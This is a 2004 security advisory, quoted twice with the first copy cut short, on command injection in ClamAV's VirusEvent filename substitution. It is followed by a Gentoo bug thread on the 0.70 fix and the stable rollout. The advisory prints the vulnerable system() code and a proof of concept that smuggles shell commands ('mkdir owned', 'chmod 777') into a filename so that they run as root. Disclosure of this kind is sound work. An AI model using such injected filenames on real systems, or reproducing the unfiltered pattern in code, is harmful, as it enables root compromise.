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Rene <l0om@excluded.org> posted this on bugtraq date: 30 March 2004 product: clam antivirus author: l0om - l0om[at]excluded.org - www.excluded.org ##################################################################### clam antivirus is a antivirus program (which works very well). it comes with a lot of features and its easy to handle. for normal you start it from the command line on demand but if you use the the dazuko module you can also scan in realtime. the program runs on standard as root but you can drop its privileges if you want to. in the clamav.conf we can find the "VirusEvent" direction (which is on default disabled): # Execute a command when virus is found. In the command string %v and %f will # be replaced by the virus name and the infected file name respectively. # # SECURITY WARNING: Make sure the virus event command cannot be exploited, # eg. by using some special file name when %f is used. # Always use a full path to the command. # Never delete/move files with this directive ! # VirusEvent /usr/bin/send_sms 1214131 "VIRUS DETECTED: %f: %v" "Make sure the virus event command cannot be exploited, eg. by using some special file name when %f is used." this is not enough. they should del this "%f" feature for security reasons because in my opinion, for now, you nearly cant prevent the "%f" thing from breaking out of your VirusEvent and do whatever the attacker likes too. ##################################################################### void virusaction(const char *filename, const char *virname, const struct cfgstruct *copt) { [...] buffer = (char *) mcalloc(strlen(cmd) + strlen(filename) + strlen(virname) + 10, sizeof(char)); if((pt = strstr(cmd, "%f"))) { *pt = 0; pt += 2; strcpy(buffer, cmd); <---- strcat(buffer, filename); <---- if((pt = strstr(cmd, "%f"))) { *pt = 0; pt += 2; strcpy(buffer, cmd); <---- strcat(buffer, filename); <---- strcat(buffer, pt); <---- free(cmd); cmd = strdup(buffer); } if((pt = strstr(cmd, "%v"))) { *pt = 0; pt += 2; strcpy(buffer, cmd); strcat(buffer, virname); strcat(buffer, pt); free(cmd); cmd = strdup(buffer); } free(buffer); /* WARNING: this is uninterruptable ! */ system(cmd); <------------------------------------------ free(cmd); } ##################################################################### as we can see in the source code there is no filter for shell characters like ";" or " in the program. therefor an attacker may take a look at your VirusEvent(as your clamav.conf is world-readable) and create a file named " ; chmod 777 etc" for example and put some virus in it. as we can see above the clamd will execute the buffer. The attacker cant use pathes like "/" but he has what it takes to get root or kill the system. the commands will be executed by the clamd on "/" as the process makes a chdir("/"). ##################################################################### example: l0om:~> ls -l /usr/local/etc/clamav.conf -rw-r--r-- 1 root root 6863 2004-03-27 11:27 /usr/local/etc/clamav.conf l0om:~> cat /usr/local/etc/clamav.conf [...] # Execute a command when virus is found. In the command string %v and %f will # be replaced by the virus name and the infected file name respectively. # # SECURITY WARNING: Make sure the virus event command cannot be exploited, # eg. by using some special file name when %f is used. # Always use a full path to the command. # Never delete/move files with this directive ! VirusEvent /bin/echo "Virus: %f: %v" | /usr/bin/mail -s "VIRUS ALERT" admin@network.net # Run as selected user (clamd must be started by root). # By default it doesn't drop privileges. #User clamav [...] l0om:~> cat >" \"; mkdir owned; echo \"" X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* l0om:~> ls "; mkdir owned; echo " XXX.blow_balls_4_real.mpeg XxX.admin_and_amanda_backup_deamon_having_fun.avi # on realtime scanning the file will be scaned when we close it or we open it for reading. # [...whatever- on next virus scan] l0om:~> ls -ld /owned drwxrwxrwx 2 root root 48 2004-03-30 11:29 owned ##################################################################### workaround: - dont use the VirusEvent - dont use the "%f" in the VirusEvent(!) - start events with your own script parsing the clamd
Rene <l0om@excluded.org> posted this on bugtraq date: 30 March 2004 product: clam antivirus author: l0om - l0om[at]excluded.org - www.excluded.org ##################################################################### clam antivirus is a antivirus program (which works very well). it comes with a lot of features and its easy to handle. for normal you start it from the command line on demand but if you use the the dazuko module you can also scan in realtime. the program runs on standard as root but you can drop its privileges if you want to. in the clamav.conf we can find the "VirusEvent" direction (which is on default disabled): # Execute a command when virus is found. In the command string %v and %f will # be replaced by the virus name and the infected file name respectively. # # SECURITY WARNING: Make sure the virus event command cannot be exploited, # eg. by using some special file name when %f is used. # Always use a full path to the command. # Never delete/move files with this directive ! # VirusEvent /usr/bin/send_sms 1214131 "VIRUS DETECTED: %f: %v" "Make sure the virus event command cannot be exploited, eg. by using some special file name when %f is used." this is not enough. they should del this "%f" feature for security reasons because in my opinion, for now, you nearly cant prevent the "%f" thing from breaking out of your VirusEvent and do whatever the attacker likes too. ##################################################################### void virusaction(const char *filename, const char *virname, const struct cfgstruct *copt) { [...] buffer = (char *) mcalloc(strlen(cmd) + strlen(filename) + strlen(virname) + 10, sizeof(char)); if((pt = strstr(cmd, "%f"))) { *pt = 0; pt += 2; strcpy(buffer, cmd); <---- strcat(buffer, filename); <---- if((pt = strstr(cmd, "%f"))) { *pt = 0; pt += 2; strcpy(buffer, cmd); <---- strcat(buffer, filename); <---- strcat(buffer, pt); <---- free(cmd); cmd = strdup(buffer); } if((pt = strstr(cmd, "%v"))) { *pt = 0; pt += 2; strcpy(buffer, cmd); strcat(buffer, virname); strcat(buffer, pt); free(cmd); cmd = strdup(buffer); } free(buffer); /* WARNING: this is uninterruptable ! */ system(cmd); <------------------------------------------ free(cmd); } ##################################################################### as we can see in the source code there is no filter for shell characters like ";" or " in the program. therefor an attacker may take a look at your VirusEvent(as your clamav.conf is world-readable) and create a file named " ; chmod 777 etc" for example and put some virus in it. as we can see above the clamd will execute the buffer. The attacker cant use pathes like "/" but he has what it takes to get root or kill the system. the commands will be executed by the clamd on "/" as the process makes a chdir("/"). ##################################################################### example: l0om:~> ls -l /usr/local/etc/clamav.conf -rw-r--r-- 1 root root 6863 2004-03-27 11:27 /usr/local/etc/clamav.conf l0om:~> cat /usr/local/etc/clamav.conf [...] # Execute a command when virus is found. In the command string %v and %f will # be replaced by the virus name and the infected file name respectively. # # SECURITY WARNING: Make sure the virus event command cannot be exploited, # eg. by using some special file name when %f is used. # Always use a full path to the command. # Never delete/move files with this directive ! VirusEvent /bin/echo "Virus: %f: %v" | /usr/bin/mail -s "VIRUS ALERT" admin@network.net # Run as selected user (clamd must be started by root). # By default it doesn't drop privileges. #User clamav [...] l0om:~> cat >" \"; mkdir owned; echo \"" X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* l0om:~> ls "; mkdir owned; echo " XXX.blow_balls_4_real.mpeg XxX.admin_and_amanda_backup_deamon_having_fun.avi # on realtime scanning the file will be scaned when we close it or we open it for reading. # [...whatever- on next virus scan] l0om:~> ls -ld /owned drwxrwxrwx 2 root root 48 2004-03-30 11:29 owned ##################################################################### workaround: - dont use the VirusEvent - dont use the "%f" in the VirusEvent(!) - start events with your own script parsing the clamds log file manual ###################################################################### have phun everybody! someone on NoFX concert or on the deconstruction-tour in köln? PARTY ON! -- l0om -- www.excluded.org Reproducible: Always Steps to Reproduce: I suggest to put a note into the ebuild that is displayed after emerging clamav, warning to use the feature since it is VERY risky indeed. According to the advisory, the VirusEvent isn't used by default. Maybe this is going to be fixed in a later version of clamav. We should leave the bug open until the issue is fixed by the clamav developers. An open security bug is a nice reference and documentation of this issue to Gentoo clamav users. regards, Tobias W.
lordvan -- comments?
Still waiting for upstream and/or confirmation, apparently they tried to fix a lot of sprintf recently but backed out the patch. Note sure they know about this one precisely. Maybe we should just patch the current one with a comment warning against the use of %f in VirusEvent in the clamav.conf file ? -K
v0.70 released - drops %f support in VirusEvent. ebuild is already in portage, we just need it stable. Given the low priority of this bug, we can wait a little before asking arches to review ? -K
We need stable for the net-mail/clamav-0.70 ebuild : arches, please test. -K
net-mail/clamav-0.70 works fine for me on x86
same here. use it for quite a while now. i'll mark stable x86 other archs plz test and mark stable yourselfs. regards
Stable on hppa.
Stable on sparc.
Stable on alpha.
stable on amd64
Still needing ppc stable for GLSA. -K
marked ppc, luckly I found a user willing to test it
Thanks Luca, Ready for a GLSA publication decision then...
GLSA 200405-03
